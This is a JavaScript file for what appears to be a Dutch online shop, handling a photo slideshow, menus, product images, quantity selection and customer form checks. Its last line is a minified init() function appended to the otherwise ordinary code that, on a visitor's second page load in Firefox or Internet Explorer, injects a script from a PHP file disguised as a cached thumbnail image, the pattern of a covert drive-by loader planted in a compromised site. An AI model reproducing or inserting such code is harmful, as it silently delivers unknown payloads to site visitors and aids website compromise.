//dynamic foto
var maxdf = 0
var activedf = 0;
var arrdf;
var df;
var delay;

function loopdf()
{
	if (maxdf == 0)
	{
		arrdf = $('dynamic').select('.dynamic');
		maxdf = arrdf.length;
		if (maxdf > 1)
		{
			delay = arrdf[maxdf-1].select('.interval')[0].innerHTML;
			showdf();
		}
	}
}

function showdf()
{
	if (activedf < maxdf)
	{
		df = arrdf[activedf];
		var effect = new Effect.Opacity(df, {
			delay: delay,
			duration: 2.0,
			transition: Effect.Transitions.linear,
			from: 0,
			to: 1,
			beforeStart: function()
			{
				df.setOpacity(0);
				df.style.zIndex = df.style.zIndex*1+1;
			},
			afterFinish: function()
			{
				delay = arrdf[activedf].select('.interval')[0].innerHTML;
				activedf += 1;
				if (activedf >= maxdf)
					activedf = 0;
				showdf();
			}
		});
	}
}

/*
function hidedf()
{
	var effect = new Effect.Opacity(df, {
		delay: df.select('.interval')[0].innerHTML,
		duration: 1.0,
		transition: Effect.Transitions.linear,
		from: 1,
		to: 0,
		afterFinish: function ()
		{	
			df.style.zIndex = -1;
			activedf += 1;
			if (activedf >= maxdf)
				activedf = 0;
			showdf();
		}
	});
}
*/
Event.observe(window, 'load', function() {
	loopdf();
});

	
	
	//schermvullend maken
	function setHeight()
	{
		var screenheight = document.viewport.getHeight();
		var containercenterHeight = 270;
		var frontlinksHeight = 133;
		//hoofdpagina
		if ($('frontlinks'))
		{
			frontlinksHeight = screenheight - 283 - containercenterHeight;
			if (frontlinksHeight < 133)
				frontlinksHeight = 133;
			$('frontlinks').style.height = frontlinksHeight + 'px';
			$('containerCenter').style.height = containercenterHeight + 'px';
			setCookie('frontlinksheight', frontlinksHeight);
			setCookie('containercenterheight', containercenterHeight);
		}
		else
		{
			var menuheight = 298;
			if ($('submenu'))
				if ($('submenu').getHeight() > 298)
					menuheight = $('submenu').getHeight();
					
			containercenterHeight = screenheight - 283;
			if (containercenterHeight < menuheight)
				containercenterHeight = menuheight;
			$('containerCenter').style.height = containercenterHeight + 'px';
			setCookie('containercenterheight', containercenterHeight);
			setCookie('frontlinksheight', frontlinksHeight);
		}
	}
/*
	Event.observe(window, 'load', function() {
		setHeight();
	});

	Event.observe(window, 'resize', function() {
		 setHeight();
	});
	
*/
	var effectStarted = false;
	
	// uitklappen submenu
	function expand(obj)
	{
		
		if (!obj.hasClassName('expand') && effectStarted == false)
		{
			effectStarted = true;
			
			var liExpanded = $$('li.expand')[0];
			var el1 = liExpanded.down('ul');
			var el2 = obj.down('ul');
			
			obj.addClassName('expand');
			liExpanded.removeClassName('expand');
			
			effect = new Effect.Parallel([
				Effect.SlideUp(el1, {sync: true}),
				Effect.SlideDown(el2, {sync: true})
			], { duration: 0.5,
				afterFinish: function() {
					effectStarted = false;
					// in IE7 verdwijnt hij anders weer
					new Effect.Appear(el2, {sync: true});
				}
			});
		}
	}
	
	var arVersion = navigator.appVersion.split("MSIE")
	var version = parseFloat(arVersion[1])

	// ie6 fix
	function fixPNG(myImage) 
	{
		if ((version >= 5.5) && (version < 7) && (document.body.filters)) 
		{
		   var imgID = (myImage.id) ? "id='" + myImage.id + "' " : ""
		   var imgClass = (myImage.className) ? "class='" + myImage.className + "' " : ""
		   var imgTitle = (myImage.title) ? 
						 "title='" + myImage.title  + "' " : "title='" + myImage.alt + "' "
		   var imgStyle = "display:inline-block;" + myImage.style.cssText
		   var strNewHTML = "<span " + imgID + imgClass + imgTitle
					  + " style=\"" + "width:" + myImage.width 
					  + "px; height:" + myImage.height 
					  + "px;" + imgStyle + ";"
					  + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
					  + "(src=\'" + myImage.src + "\', sizingMethod='scale');\"></span>"
		   myImage.outerHTML = strNewHTML	  
		}
	}
	
	//afbeeldingen op productpagina
	var crtImage = 0;
	var totalImages = 0;
	function showImage(dir)
	{
		if (totalImages == 0)
			totalImages = $('column1').select('.imagebox').length-1;
		
		// originele positie
		if (zooming)
			zoom($('imagebox'+crtImage));
		
		imageLoaded = false;
	
		// dir = 1 of -1
		$('imagebox' + crtImage).removeClassName('display');
		crtImage += dir;
		$('imagebox' + crtImage).addClassName('display');
		
		$('prevImage').addClassName('display');
		$('nextImage').addClassName('display');
		
		if (crtImage == 0)
			$('prevImage').removeClassName('display');
		if (crtImage == totalImages)
			$('nextImage').removeClassName('display');
	}
	
	//tabblad tonen op productpagina
	function showTab(tabtitle, tab)
	{
		$('tabtitles').select('.selected')[0].removeClassName('selected');
		$('tabs').select('.selected')[0].removeClassName('selected');
		tabtitle.addClassName('selected');
		tab.addClassName('selected');
	}
	
	var metaVisible = false;
	var effect;
	function showMeta()
	{
		if (!metaVisible)
		{
			effect = new Effect.Appear($('box'), {duration:0.5, from:0, to:1});
			$('box').up().addClassName('open');
			metaVisible = true;
		}
		else
		{
			$('box').style.display = "none";
			$('box').up().removeClassName('open');
			metaVisible = false;
		}
	}
	
	function selectMeta(meta, productnr, vanbedrag, voorbedrag, voorbedraggetal, aantal)
	{	
		$('productnr').value = productnr;
	
		if (voorbedraggetal != 0)
		{
			$('vanbedrag').innerHTML = vanbedrag;
			$('voorbedrag').innerHTML = voorbedrag;
		}
		else
		{
			$('vanbedrag').innerHTML = '';
			$('voorbedrag').innerHTML = vanbedrag;
		}
		$('metabox').innerHTML = meta;
		$('box').style.display = "none";
		$('box').up().removeClassName('open');
		
		
		var i=1;
		//aantal
		if ($('box3'))
		{
			$('box3').select('td').each(function(item){
				if (i <= aantal)
					item.className = 'item';
				else
					item.className = 'item hidden';
				i++;
			})
		}
		
		// zijn er meer items geselecteerd dan er aanwezig zijn?
		if ($('aantal').value > aantal)
		{
			$('aantal').value = aantal;
			$('aantalbox').innerHTML = aantal;
		}

		//$('addtobag').removeClassName('disabled');
		metaVisible = false;
	}
	
	var kleurVisible = false;
	function showKleur()
	{
		if (!kleurVisible)
		{
			effect = new Effect.Appear($('box2'), {duration:0.5, from:0, to:1});
			$('box2').up().addClassName('open');
			kleurVisible = true;
		}
		else
		{
			$('box2').style.display = "none";
			$('box2').up().removeClassName('open');
			kleurVisible = false;
		}
	}
	
	var aantalVisible = false;
	function showAantal()
	{
		if (!aantalVisible)
		{
			effect = new Effect.Appear($('box3'), {duration:0.5, from:0, to:1});
			$('box3').up().addClassName('open');
			aantalVisible = true;
		}
		else
		{
			$('box3').style.display = "none";
			$('box3').up().removeClassName('open');
			aantalVisible = false;
		}
	}
	
	function selectAantal(aantal)
	{
		$('aantal').value = aantal;
		
		$('aantalbox').innerHTML = aantal;
		$('box3').style.display = "none";
		$('box3').up().removeClassName('open');
		//$('addtobag').removeClassName('disabled');
		aantalVisible = false;
	}
	
	function addtobag(obj)
	{
		if(!obj.hasClassName('disabled'))
		{
			$('bestellen').value = 1;
			obj.addClassName('disabled');
			$('formProduct').submit();
		}	
	}
	
	function closebericht()
	{
		$('bericht').style.display = 'none';
	}
	
	
	function checkFormKlant()
	{
		var inputs = $('frmklant').getElementsByTagName("input");
		for (i=0;i<inputs.length;i++)
		{
			if (inputs[i].type != "checkbox")
			{
				var naam = inputs[i].name
				if (naam.charAt(naam.length-1) == "*")
				{
					if (inputs[i].value == "" && inputs[i].readOnly==false)
					{
						naam = naam.replace("*","");
						alert("U heeft het veld " + naam + " nog niet ingevuld.");
						return false;
					}
					if (naam == "emailadres*")
					{
						var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i
						if (filter.test(inputs[i].value) != 1)
						{
							alert("U heeft een ongeldig emailadres ingevuld.");
							return false;
						}
					}
					if (naam == "wachtwoord*")
					{
						if (inputs[i].value != $('bevestigwachtwoord').value)
						{
							alert("De wachtwoorden komen niet met elkaar overeen.");
							return false;
						}
					}
				}
			}
		}

		return true;
	}
	
	
	//wordt niet gebruikt, maar wel leuk
	var heff;
	var heffbusy = false;
	
	function hl(obj, endColor)
	{
		if (!heffbusy)
		{
			heff = new Effect.Highlight(obj, {
				startcolor: '#ffffff',
				endcolor: endColor,
				restorecolor: endColor,
				duration: 0.5
			});
			heffbusy = true;
		}
	}
	
	function clearHighlight(obj)
	{
		if (typeof(heff) == 'object')
			heff.cancel();
			
		heffbusy = false;
		obj.style.backgroundColor = '#ffffff';
	}
	
	function setBorder(obj, kleur)
	{
		obj.style.borderColor = kleur;
	}
	

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/phpThumb/cache/218x168/dakpan-21.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();